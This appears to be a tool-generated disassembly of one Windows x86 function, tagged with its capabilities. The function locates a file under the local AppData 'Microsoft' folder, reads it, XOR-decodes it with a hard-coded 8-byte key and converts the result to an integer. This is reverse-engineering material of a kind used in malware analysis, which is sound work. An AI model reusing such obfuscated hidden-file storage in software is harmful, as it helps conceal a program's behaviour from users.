Function at 0x482260
Capabilities:
Get common file path
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2e0
mov eax, dword [0x4b6018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x2a0]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
test eax, eax
jne 0x482300
lea ecx, [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x2a0]
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov eax, dword [ebp - 0x2a0]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea ecx, [ebp - 0x110]
add ecx, 0xffffffff
mov dword [ebp - 0x2b0], ecx
mov edx, dword [ebp - 0x2b0]
mov al, byte [edx + 1]
mov byte [ebp - 0x2b1], al
add dword [ebp - 0x2b0], 1
cmp byte [ebp - 0x2b1], 0
jne 0x4822c0
mov edi, dword [ebp - 0x2b0]
mov ecx, dword [str.Microsoft_]
mov dword [edi], ecx
mov edx, dword [0x4a97d4]
mov dword [edi + 4], edx
mov eax, dword [0x4a97d8]
mov dword [edi + 8], eax
jmp 0x48230c
mov ecx, dword [0x4a97dc]
mov dword [ebp - 0x110], ecx
lea edx, [ebp - 0x110]
mov dword [ebp - 0x2b8], edx
lea eax, [ebp - 0x218]
mov dword [ebp - 0x2bc], eax
mov ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x2c0], ecx
mov edx, dword [ebp - 0x2b8]
mov al, byte [edx]
mov byte [ebp - 0x2c1], al
mov ecx, dword [ebp - 0x2bc]
mov dl, byte [ebp - 0x2c1]
mov byte [ecx], dl
mov eax, dword [ebp - 0x2b8]
add eax, 1
mov dword [ebp - 0x2b8], eax
mov ecx, dword [ebp - 0x2bc]
add ecx, 1
mov dword [ebp - 0x2bc], ecx
cmp byte [ebp - 0x2c1], 0
jne 0x482330
mov edx, dword [ebp + 8]
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x2cc], eax
mov ecx, dword [ebp - 0x2c8]
mov dl, byte [ecx]
mov byte [ebp - 0x2cd], dl
add dword [ebp - 0x2c8], 1
cmp byte [ebp - 0x2cd], 0
jne 0x482388
mov eax, dword [ebp - 0x2c8]
sub eax, dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x2d8], eax
lea edx, [ebp - 0x218]
add edx, 0xffffffff
mov dword [ebp - 0x2dc], edx
mov eax, dword [ebp - 0x2dc]
mov cl, byte [eax + 1]
mov byte [ebp - 0x2dd], cl
add dword [ebp - 0x2dc], 1
cmp byte [ebp - 0x2dd], 0
jne 0x4823d3
mov edi, dword [ebp - 0x2dc]
mov esi, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2d8]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x4a988c
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 8
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jne 0x48245e
push 0
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.MSVCR90.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x482456
xor eax, eax
jmp 0x482617
or eax, 0xffffffff
jmp 0x482617
push 2
push 0
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.MSVCR90.dll_fseek]
add esp, 0xc
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCR90.dll_ftell]
add esp, 4
mov dword [ebp - 0x29c], eax
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.MSVCR90.dll_rewind]
add esp, 4
cmp dword [ebp - 0x29c], 0
jne 0x4824b8
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
xor eax, eax
jmp 0x482617
mov eax, dword [ebp - 0x29c]
add eax, 1
push eax
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x29c]
push edx
push 1
mov eax, dword [ebp - 0x2a8]
push eax
call dword [sym.imp.MSVCR90.dll_fread]
add esp, 0x10
mov dword [ebp - 0x2a4], eax
mov ecx, dword [ebp - 0x2a4]
cmp ecx, dword [ebp - 0x29c]
je 0x48252d
mov edx, dword [ebp - 0x2a8]
push edx
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
or eax, 0xffffffff
jmp 0x482617
mov ecx, dword [str.A7ws9dPA]
mov dword [ebp - 0x298], ecx
mov edx, dword [0x4a9680]
mov dword [ebp - 0x294], edx
lea edi, [ebp - 0x290]
mov ecx, 0xd
mov esi, str.QAZWSXEDCRFVTGBYHNUJMIKOLPqwertyuiop_asdfghjklzxcvbnm
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x25b]
mov ecx, 0xd
mov esi, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO_PQRSTUVWXYZ
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x29c], 0
je 0x4825dc
mov dword [ebp - 0x2ac], 0
jmp 0x48258f
mov eax, dword [ebp - 0x2ac]
add eax, 1
mov dword [ebp - 0x2ac], eax
mov ecx, dword [ebp - 0x29c]
sub ecx, 1
cmp dword [ebp - 0x2ac], ecx
jg 0x4825dc
mov edx, dword [ebp - 0x2a8]
add edx, dword [ebp - 0x2ac]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2ac]
and ecx, 0x80000007
jns 0x4825c2
dec ecx
or ecx, 0xfffffff8
inc ecx
movsx edx, byte [ebp + ecx - 0x298]
xor eax, edx
mov ecx, dword [ebp - 0x2a8]
add ecx, dword [ebp - 0x2ac]
mov byte [ecx], al
jmp 0x482580
mov edx, dword [ebp - 0x2a8]
add edx, dword [ebp - 0x29c]
mov byte [edx], 0
mov eax, dword [ebp - 0x2a8]
push eax
call dword [sym.imp.MSVCR90.dll_atoi]
add esp, 4
mov dword [ebp - 0x220], eax
mov ecx, dword [ebp - 0x2a8]
push ecx
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [ebp - 0x220]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408de6
mov esp, ebp
pop ebp
ret